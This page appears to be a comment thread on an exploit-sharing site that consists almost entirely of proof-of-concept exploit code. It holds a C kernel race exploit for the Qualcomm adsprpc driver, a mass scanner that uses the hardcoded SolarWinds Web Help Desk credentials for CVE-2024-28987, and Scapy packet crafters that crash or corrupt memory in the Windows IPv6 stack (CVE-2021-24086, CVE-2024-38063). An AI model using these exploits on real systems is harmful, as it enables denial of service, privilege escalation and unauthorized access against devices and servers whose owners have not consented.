Recent comments

Log in or create an account to share your comment.

[{"tags": ["vulnerability:information=PoC"]}]

Ref: https://project-zero.issues.chromium.org/issues/42451725

#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>

#define FASTRPC_MODE_UNSIGNED_MODULE 8
#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)
#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)
#define FASTRPC_STATIC_HANDLE_LISTENER (3)
#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)
int dma_heap;
int adsprpc_fd;
int create_and_init_adsprpc()
{
    int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
    if(adsprpc_fd == -1) {
        printf("open: %m\n");
        return -1;
    }
    unsigned cid = 3;
    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
    int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
    if(shell_fd == -1) {
        printf("open shell: %m\n");
        return -1;
    }
    dma_heap = open("/dev/dma_heap/system",O_RDONLY);
    if(dma_heap == -1) {
        printf("open dma_heap: %m\n");
        return -1;
    }
    struct dma_heap_allocation_data heap_data = {
        .len = 0x131000,
        .fd_flags = O_RDWR,
    };
    ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
    if( ret < 0 || heap_data.fd < 0)
    {
        printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
        return -1;
    }
    void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
    long length = read(shell_fd,shell_file_dma,0x131000);
    if(length <= 0) {
        printf("read: %d %m\n",ret);
        return -1;
    }
    close(shell_fd);
    struct fastrpc_ioctl_init_attrs init = {
        .init = {
            .file = shell_file_dma,
            .filefd = heap_data.fd,
            .filelen = length,
            .mem = 0,
            .flags = FASTRPC_INIT_CREATE,
        },
        .attrs = FASTRPC_MODE_UNSIGNED_MODULE
    };
    ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
    if(ret < 0)
    {
        printf("init_attrs: %d %m\n",ret);
        return -1;
    }
    return adsprpc_fd;
}
pthread_barrier_t* barrier;
pthread_t tid_inv,tid_int;
unsigned long* value_loc;
struct dma_heap_allocation_data heap_data = {
    .len = 0x10000,
    .fd_flags = O_RDWR,
};
void handler(int signo, siginfo_t *info, void* context) {
    return;
}
sig_atomic_t jobid = 0;
long submit_job() {
    unsigned value = 255;
    unsigned out_values[256] = {0};
    struct fastrpc_ioctl_invoke_async ioctl_arg;
    remote_arg_t ra[2];
    ra[0].buf.pv = (void *)&value;
    ra[0].buf.len = sizeof(value);
    ra[1].buf.pv = (void *)(&out_values[1]);
    ra[1].buf.len = value * sizeof(uint32_t);
    ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
    ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
    ioctl_arg.inv.pra = ra;
    ioctl_arg.fds = NULL;
    ioctl_arg.attrs = NULL;
    ioctl_arg.crc = NULL;
    ioctl_arg.perf_kernel = NULL;
    ioctl_arg.perf_dsp = NULL;
    ioctl_arg.job = NULL;
    ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
    ioctl_arg.job->isasyncjob = 1;
    ioctl_arg.job->jobid = jobid++;
    struct fastrpc_ioctl_invoke2 inv;
    inv.invparam = &ioctl_arg;
    inv.req = FASTRPC_INVOKE2_ASYNC;
    inv.size = sizeof(struct fastrpc_ioctl_invoke_async);

    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
    printf("submit job ret: %lx %m\n",ret);
    return ret;
}
void* thread_inv(void* arg) {
    while(1) {
    //Need to replace value with & new map on other thread
        unsigned value = 255;
        unsigned out_values[256] = {0};
        long ret;
        //Not using submit_job() to increase race precision
        struct fastrpc_ioctl_invoke_async ioctl_arg;
        remote_arg_t ra[2];
        ra[0].buf.pv = (void *)0;
        ra[0].buf.len = sizeof(value);
        ra[1].buf.pv = (void *)(&out_values[1]);
        ra[1].buf.len = value * sizeof(uint32_t);
        ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
        ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
        ioctl_arg.inv.pra = ra;
        ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));
        ioctl_arg.fds[0] = heap_data.fd;
        ioctl_arg.fds[1] = -1;
        ioctl_arg.attrs = NULL;
        ioctl_arg.crc = NULL;
        ioctl_arg.perf_kernel = NULL;
        ioctl_arg.perf_dsp = NULL;
        ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
        ioctl_arg.job->isasyncjob = 1;
        ioctl_arg.job->jobid = jobid++;
        struct fastrpc_ioctl_invoke2 inv;
        inv.invparam = &ioctl_arg;
        inv.req = FASTRPC_INVOKE2_ASYNC;
        inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
        close(heap_data.fd);
        pthread_barrier_wait(barrier);
        ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
        printf("job submit: %ld %m\n",ret);
        fflush(stdout);
        if(!ret) {
            *((unsigned*) &barrier[1]) = 1;
            pthread_barrier_wait(barrier);
            exit(0);
        }
        pthread_barrier_wait(barrier);

    }


    return NULL;
}

int main() {
    adsprpc_fd = create_and_init_adsprpc();
    if(adsprpc_fd == -1) {
        printf("failed to open adsprpc...\n");
        return 1;
    }
    barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);
    pthread_barrierattr_t attr;
    pthread_barrierattr_init(&attr);
    pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);
    pthread_barrier_init(barrier,&attr,2);
    //pthread_create(&tid_int,NULL,&thread_interrupt,NULL);

    int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
    if( ret < 0 || heap_data.fd < 0)
    {
        printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
        return -1;
    }

    // for(unsigned i = 0; i < 1022; i++) {
    //     if(submit_job() < 0) {
    //         printf("failed to submit a job at i = %u\n",i);
    //         exit(0);
    //     }
    // }
    printf("mapping...\n");
    fflush(stdout);
    value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);
    pid_t pid;
    if(!(pid = fork())) {
        thread_inv(NULL);
        exit(0);
    }
    // pthread_create(&tid_inv,NULL,&thread_inv,NULL);

    unsigned long spoof_map = 0x2000;
    uint64_t vaddrouts[1024];
    unsigned top = 0;
    do {
        struct fastrpc_ioctl_mem_map mmap_struct = {
                .m = {
                    .flags = 0,
                    .fd = heap_data.fd,
                    .length = 0x2000,
                    .attrs = 0,
                    .vaddrin = spoof_map,
                    .vaddrout = 0,
                    .offset = 0,
                }
        };
        spoof_map += 0x2000;
        unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
        printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
        vaddrouts[top] = mmap_struct.m.vaddrout;
    } while (vaddrouts[top++]);
    // struct fastrpc_ioctl_mem_map mmap_struct = {
    //         .m = {
    //             .flags = 0,
    //             .fd = heap_data.fd,
    //             .length = 0x1000,
    //             .attrs = 0,
    //             .vaddrin = value_loc,
    //             .offset = 0,
    //         }
    // };
    //     //pthread_barrier_wait(&barrier);
    // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
    // printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
    // struct fastrpc_ioctl_mem_unmap unmap_struct = {
    //     .um = {
    //         .fd = heap_data.fd,
    //         .length = 0x1000,
    //         .vaddr = mmap_struct.m.vaddrout
    //     }
    // };
    // ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
    // printf("mem_unmap1: %lx\n",ioret);
    unsigned first = true;
    while(1) {
        struct fastrpc_ioctl_mem_map mmap_struct = {
            .m = {
                .flags = FASTRPC_MAP_FD_NOMAP,
                .fd = heap_data.fd,
                .length = 0x1000,
                .attrs = FASTRPC_ATTR_KEEP_MAP,
                .vaddrin = value_loc,
                .offset = -1,
            }
        };
        pthread_barrier_wait(barrier);
        unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
        printf("mem_map2: %lx\n",ret);
        fflush(stdout);
        struct fastrpc_ioctl_munmap_fd final_munmap = {
            .fd = heap_data.fd,
            .flags = 0,
            .len = 0x1000,
            .va = 0
        };
        unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);
        printf("munmap fd: %lx %m\n",final_ret);
        pthread_barrier_wait(barrier);
        if(*(unsigned*)&barrier[1]) {
            break;
        }
        if(first && fgetc(stdin) == 'n') {
            kill(pid,SIGKILL);
            exit(0);
        }
        first = false;
    }
    // pthread_join(tid_int,NULL);
    // pthread_join(tid_inv,NULL);


    // for(unsigned i = 0; i < top; i++)
    // {
    //     struct fastrpc_ioctl_mem_unmap unmap_struct = {
    //         .um = {
    //             .fd = heap_data.fd,
    //             .length = 0x2000,
    //             .vaddr = vaddrouts[i],
    //         }
    //     };
    //     unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
    //     if(ioret)
    //         printf("unexpected unmap fail %lx %m\n",ioret);
    // }
    // while(1) sleep(1);
    return 0;
    // struct fastrpc_ioctl_mmap mmap_struct2 = {
    //     .fd = -1,
    //     .flags = ADSP_MMAP_HEAP_ADDR,
    //     .vaddrin = 0,
    //     .size = 0x1000
    // };
    // ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
    // if(ret < 0)
    // {
    //     printf("ret mmap: %lx %m\n",ret);
    // }
    // printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);

}

  • CVE-2024-36401 GeoServer Remote Code Execution - https://github.com/0x0d3ad/CVE-2024-36401

A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC

import argparse
import base64
import requests

# Created by Ghost sec.
RED = "\033[91m"
GREEN = "\033[92m"
BOLD = "\033[1m"
RESET = "\033[0m"

ascii_art = f"""
{BOLD}{RED}
  ______   __                              __                                         
 /      \ /  |                            /  |                                        
/$$$$$$  |$$ |____    ______    _______  _$$ |_           _______   ______    _______ 
$$ | _$$/ $$      \  /      \  /       |/ $$   |         /       | /      \  /       |
$$ |/    |$$$$$$$  |/$$$$$$  |/$$$$$$$/ $$$$$$/         /$$$$$$$/ /$$$$$$  |/$$$$$$$/ 
$$ |$$$$ |$$ |  $$ |$$ |  $$ |$$      \   $$ | __       $$      \ $$    $$ |$$ |      
$$ \__$$ |$$ |  $$ |$$ \__$$ | $$$$$$  |  $$ |/  |       $$$$$$  |$$$$$$$$/ $$ \_____ 
$$    $$/ $$ |  $$ |$$    $$/ /     $$/   $$  $$/       /     $$/ $$       |$$       |
 $$$$$$/  $$/   $$/  $$$$$$/  $$$$$$$/     $$$$/        $$$$$$$/   $$$$$$$/  $$$$$$$/ 
 PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel
{RESET}
"""

print(ascii_art)

def get_basic_auth_header(username, password):
    credentials = f"{username}:{password}"
    base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')
    return {'Authorization': f'Basic {base64_credentials}'}

def scan_target(hostname):
    # Ensure hostname does not have trailing slashes
    hostname = hostname.strip().rstrip('/')
    url = f"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/"

    # Print formatted URL for debugging
    print(f"{BOLD}[*] Scanning URL: {url}{RESET}")

    headers = get_basic_auth_header("helpdeskIntegrationUser", "dev-C4F8025E7")
    headers['Content-Type'] = 'application/x-www-form-urlencoded'

    try:
        response = requests.get(url, headers=headers, timeout=10)
        if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:
            print(f"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}")
        else:
            print(f"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}")
    except requests.RequestException:
        # Modify this line to just print "Not vulnerable" instead of the error details
        print(f"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}")

def scan_targets_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            targets = file.readlines()
            if not targets:
                print(f"{BOLD}{RED}[!] No targets found in file{RESET}")
                return
            for target in targets:
                target = target.strip()
                if target:
                    scan_target(target)
    except FileNotFoundError:
        print(f"{BOLD}{RED}[!] File {file_path} not found{RESET}")
    except Exception as e:
        print(f"{BOLD}{RED}[!] An error occurred: {e}{RESET}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential")
    parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')

    args = parser.parse_args()

    scan_targets_from_file(args.file)

if __name__ == "__main__":
    main()

Analysis of a denial of service vulnerability affecting the IPv6 stack of Windows.

This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.

Proof of Concept

```python import sys import random

from scapy.all import *

FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8

NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58

def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472

return raw(er)

def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4()

# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))

# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)

return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id

def send_last_inner_fragment(target_addr, inner_frag_id):

raw_er = get_layer4()

ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])

def trigger(target_addr):

inner_packet, inner_frag_id = get_inner_packet(target_addr)

ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)

outer_frag_id = random.randint(0, 0xffffffff)

fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
    fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])

if len(inner_packet) % FRAGMENT_SIZE:
    fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])


print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
    if i == len(fragmentable_part) - 1:
        more = 0
    else:
        more = 1

    FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)

    blob = raw(FH/fragmentable_part[i])
    frag_offset += FRAGMENT_SIZE

    frags_to_send.append(ip/hopbyhop/blob)


print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
    send(frag)


print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)

if name == 'main': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) ```

Proof of Concept for CVE-2024-38063, a RCE in tcpip.sys patched on August 13th 2024.

An analysis of the vulnerability published on August 27, 2024 by Marcus Hutchins.

PoC published on GitHub on August 24, 2024.

Implementation

Implementation details are available on GitHub.

from scapy.all import *

iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != '':
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
if mac_addr != '':
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

displaying 11 - 18 comments in total 18